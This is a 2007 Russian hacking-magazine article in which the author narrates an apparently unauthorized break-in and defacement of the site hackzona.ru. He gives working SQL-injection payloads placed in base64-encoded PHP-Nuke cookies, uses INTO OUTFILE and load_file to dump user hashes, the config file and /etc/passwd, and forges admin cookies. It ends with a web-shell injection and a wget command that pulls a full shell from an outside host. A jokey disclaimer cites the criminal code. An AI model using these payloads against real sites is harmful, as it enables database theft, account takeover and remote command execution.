Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #104, АВГУСТ 2007 г.

Вторжение в ХакЗону

t0m

Хакер, номер #104, стр. 064

Идеальной защиты не существует

Бывало ли у тебя так: сидишь ты на каком-нибудь портале, в твоем черном умишке роятся мысли о взломе, но тут закрадывается одна дрянная мысль о невозможности этого и ломает весь кайф? На hackzona.ru я узнал многое, и взлом самой ХакЗоны казался мне чем-то нереальным и в какой-то степени даже кощунственным :). Но лозунг ХакЗоны гласит: «Все, что создал человек, можно взломать, идеальной защиты не существует».

Как все начиналось

Дело было ночью. От нечего делать я читал статейки, сохраненные на винте, и, признаться, это мне уже порядком надоело. Но тут, наткнувшись на материал по хаку одного девелоперского портала, я воспрял и, ощутив в себе уверенность и силу, набрал в Опере fssr.ru (второй домен ХакЗоны).

Прежде всего нужно было определиться с целью взлома. Так как никакой выгоды из злодеяния я извлекать не собирался, я решил просто задефейсить сайт. Надо было с чего-то начать. Сканить хост на предмет бажных демонов не хотелось. Перебирать параметры в поисках инъекций казалось глупым, но я все же немного поигрался с параметрами. К сожалению, это ни к чему полезному не привело. Но мое внимание привлек модуль поиска, который красовался на главной странице. Вбив в поиск «sdfg», я нажал на кнопку «Поиск». Открыв сорцы страницы с результатами работы скрипта, я обнаружил следующую строчку:

<input size="25" type="text" name="query" value="sdfsd">

Проведя поиск по значению «">test», я увидел то, что ты можешь наблюдать на рисунке:

Просмотрев код, я обнаружил:

<input size="25" type="text" name="query" value="">test">.

Как видишь, я выбрался за пределы тэга и уже мог вставлять код в тело страницы. Но проведя поиск по значению «"><script>alert("xss")</script>», я получил редирект на главную пагу портала :(. Судя по всему, параметр поиска избирательно фильтровался.

Нужно было искать какой-нибудь не совсем стандартный баг. И тут я вспомнил, что параметры в скрипты могут передаваться еще и через кукисы. Недолго думая, я полез смотреть, что у меня в печеньках (смотри рисунок):

Параметр user, скорее всего, используется для аутентификации и представляет наибольший интерес. В большинстве случаев кукисы шифруются алгоритмом base64. Для перекодировки из base64 написано много тулз, например n57_base64.exe, также можно воспользоваться следующим PHP-скриптом:

<html>

<head>

<title>Base64 encoder/decoder by t0m</title>

</head>

<body>

<form method="get" action="d.php">

<input type="text" name="ins"><p>

<input type="submit" value="go">

</form>

<?php

$ins = $_GET["ins"];

$dec=base64_decode($ins);

$enc=base64_encode($ins);

echo ("Encoded: $enc <p/>");

echo ("Dencoded: $dec");

?>

</body>

</html>

Перекодировав значение своих печенюшек, я получил:

60505:t0m:07a67fe69ace3f559438525b0635666d:10::0:0:0:0::4096

Где-то я уже это видел. Все это очень напоминало PHPNuke, известный своей дырявостью ;). За время его существования в нем успели найти предостаточное количество уязвимостей. Это радовало.

Вставив апостроф после ника, я закодировал строку и поменял значение в cookie-файле через Оперу. Без особых надежд я обновил страницу и, подождав несколько томительных секунд, увидел сообщение об ошибке БД :).

Error in obtaining userdata : login

DEBUG MODE

SQL Error : 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''t0m''' at line 3

SELECT user_id, username, user_password, user_active, user_level FROM voov_users WHERE username = 't0m''

Line : 775

File : /home/papanya/www/hackzona.ru/includes/functions.php

Сначала я не поверил своим глазам. Ну уж никак не ожидал я, что все будет так просто. Немного отойдя от шока, я принялся изучать отчет об ошибке. Прежде всего, строки «check the manual that corresponds to your MySQL server» свидетельствовали о том, что в качестве БД используется сервер MySQL. Особенно меня порадовала строка:

SELECT user_id, username, user_password, user_active, user_level FROM voov_users WHERE username = 't0m'

Глупый «мускул» сделал за меня половину работы, вернув и имена столбцов, и название базы :). К полезной информации можно отнести также строку «/home/papanya/www/hackzona.ru/includes/functions.php», которая указывает полный путь к каталогу с движком сайта. Дело оставалось за малым. Мне надо было только скормить БД нужный мне запрос. Я сформулировал запрос так:

'UNION SELECT null, username, user_password, null, null FROM voov_users/*.

Думаю, объяснять ничего не нужно, так как о скул-инъекции на страницах журнала писали не раз. Вставив это все дело в куки, я получил вразумительный ответ:

60505:t0m'UNION SELECT null, username, user_password, null, null FROM voov_users/*:07a67fe69ace3f559438525b0635666d:10::0:0:0:0::4096,

Перекодировал его и заменил значение в куках. Когда я обновил страницу, мне почему-то вернулась пустая страница. Ни таблицы, ни юзернеймов, ни хешей... Почесав репу, я начал листать доки по скул-инъекциям и вдруг вспомнил о конструкции INTO OUTFILE, с помощью которой можно выгрузить выборку в файл на сервере. Конструкция имеет следующий синтаксис: Into Outfile 'path/file', причем присутствие FROM в запросе обязательно. Но сначала нужно было найти директорию, в которой у нас есть права на запись. Скорее всего, это папка с аватарами. Зайдя на ветку форума, в свойствах аватара первого встречного я посмотрел путь к папке с аватарами: /modules/Forums/images/avatars. Я сформировал кукис:

60505:t0m'UNION SELECT user_id, username, user_password, user_active, user_level FROM voov_users Into Outfile '../../../home/papanya/www/hackzona.ru/modules/Forums/images/avatars/jdFj4502HdJKormf56.gif'/*: 07a67fe69ace3f559438525b0635666d:10::0:0:0:0::4096,

И, заботливо перекодировав его, заменил значение в кукисах.

Обновив страницу, я увидел пустую таблицу «Информация», что, как мне показалось, свидетельствовало об удачном выполнении запроса. Я перешел по ссылке hackzona.ru/modules/Forums/images/avatars/jdFj4502HdJKormf56.gif и скачал картинку весом 4 Мб :). Открыв блокнотом суперкартинку, я увидел все юзернеймы и хеши пользователей.

Брут хешей админов, как и предполагалось, ничего не дал, но мне это и не надо было, так как Nuke проводит аутентификацию через куки с помощью хешей. Заменив инфу в куках инфой одного из админов, я зашел на портал. Я мог читать приватные сообщения админа, оставлять комментарии под его ником, но заветной кнопочки «Админка» не было :(. Перепробовав варианты типа adm, admin, administrator, я так ничего и не нашел. В поисках панели админа я обратился к старому другу robots.txt. Самым маленьким поясню, что в robots.txt хранится список ресурсов, которые не должны кэшировать поисковики. Найти его всегда можно по адресу http://site/robots.txt. В роботах ХакЗоны я увидел следующую инфу:

User-agent: *

Disallow: hzgo.php

Disallow: /admin/

Disallow: /images/

Disallow: /includes/

Disallow: /themes/

Disallow: /blocks/

Disallow: /modules/

Disallow: /language/

Host: www.hackzona.ru

Мое внимание привлекла строчка «Disallow: hzgo.php». Это, наверно, и была заветная админка. Перейдя по адресу www.fssr.ru/hzgo.php, я получил лишь сухой редирект на главную страницу портала :(. В голове сразу стали появляться мысли о блокировке по IP и прочий бред. На админку было решено на некоторое время забить.

В идеале хотелось найти пасс админа и получить shell-доступ ;). Так как брут хешей результатов не дал, нужно было найти какой-нибудь файлик, где пасс хранится в открытом виде. Я подумал о конфиге движка сайта, где в открытом виде лежал пасс к БД (который мог подойти к чему-нибудь еще). Прочитать файл с сервера можно функцией Load_File. Я набросал кукис:

60505:t0m'UNION SELECT load_file('../../../home/papanya/www/hackzona.ru/config.php'), null, null, null, null Into Outfile '../../../home/papanya/www/hackzona.ru/modules/Forums/images/avatars/jdFj4502HdJKormf57.gif'/*: 07a67fe69ace3f559438525b0635666d:10::0:0:0:0::4096,

Закодировал его в base64, поменял значение в куках и обновил страницу. Сервер с удовольствием скушал печеньку и вернул пустую таблицу «Информация». Затем я скачал картинку запросом hackzona.ru/modules/Forums/images/avatars/jdFj4502HdJKormf57.gif. Открыв ее стандартным блокнотом, я увидел конфиг ХакЗоны. Среди прочего была строка «PHP-NUKE: Advanced Content Management System», что подтверждало мои догадки о нюке. В конфигах я увидел такие строки:

$dbuname = "root";

$dbpass = "";

Строчка «$dbpass = "";» убила все надежды :( , но сам факт того, что я могу читать файлы с сервера не мог не радовать. Далее я попытался прочитать /etc/passwd запросом:

UNION SELECT load_file('../../../etc/passwd'), null, null, null, null Into Outfile '../../../home/papanya/www/hackzona.ru/modules/Forums/images/avatars/jdFj4802HdJKormf57.gif'/*

Это мне очень даже удалось. Но так как в целях обеспечения безопасности /etc/passwd обычно используются схемы со скрытыми паролями, реальных паролей я не увидел. Чтобы прочитать /etc/shadow, прав, естественно, не хватало :(.

Было решено вернуться к админке. Отрыв где-то в недрах винчестера архив с нюком, я установил его себе на комп и зашел под админом. Потом я полез смотреть кукисы (смотри рисунок).

Как видно, для аутентификации под обычным пользователем и под админом используются два разных кукиса. Перекодировав nuke admin, я получил admin:8e3f170de8805548605349536e1eaab0. Заменив имя и хеш пользователя ником и хешем одного из админов ХакЗоны, я перекодировал значение в base64. Также пришлось заменить в кукак параметр user на admin. Сделав все и скрестив пальцы на удачу, я обновил страницу... Через несколько секунд, кроме всего прочего, на странице, я лицезрел линк на админ-панель – передо мной предстала админка во всей ее красе ;).

В админ-панели было много функций, но, полазив по ссылкам, я не нашел ничего, что могло представлять интерес. Лишь кнопка «Сохранить БД» переливалась всеми цветами радуги и так и просила ткнуть в нее курсором. Преодолел ли я соблазн? Пусть это останется маленькой моей маленькой тайной :). Просто так уходить не хотелось, и я решил оставить себе на память небольшой сувенир. Перейдя в раздел «Настройки», я дописал к имени сайта «Freindly hack by t0m» и сохранил изменения. После проделанных действий в тайтле ХакЗоны появилась заветная строчка, сообщающая, что некий негодяй с ником t0m дружески поимел ХакЗону :).

С помощью Into Outfile можно делать много очень интересных вещей. Например, можно выполнить запрос:

UNION SELECT null, '<?php $cmd = $_GET["cmd"];system($cmd);?>', null, null, null FROM TableName Into Outfile 'path/cmd.php'

Затем залить скриптик, выполняющий команды. А далее запросом http://site/path/cmd.php?cmd= wget -O path/shell.php http://yoursite/sell.txt закачать полноценный шелл.

WWW

http://hackzona.ru - «виновница торжества» :).

http://injection.rulezz.ru - подборка материалов по SQL-injection

Danger

Все трюки, рассмотренные в статье, выполнялись профессиональными каскадерами, и их повторять в домашних условиях не рекомендуется, так как многое из описанного подпадает под статью 272 УК РФ.

Содержание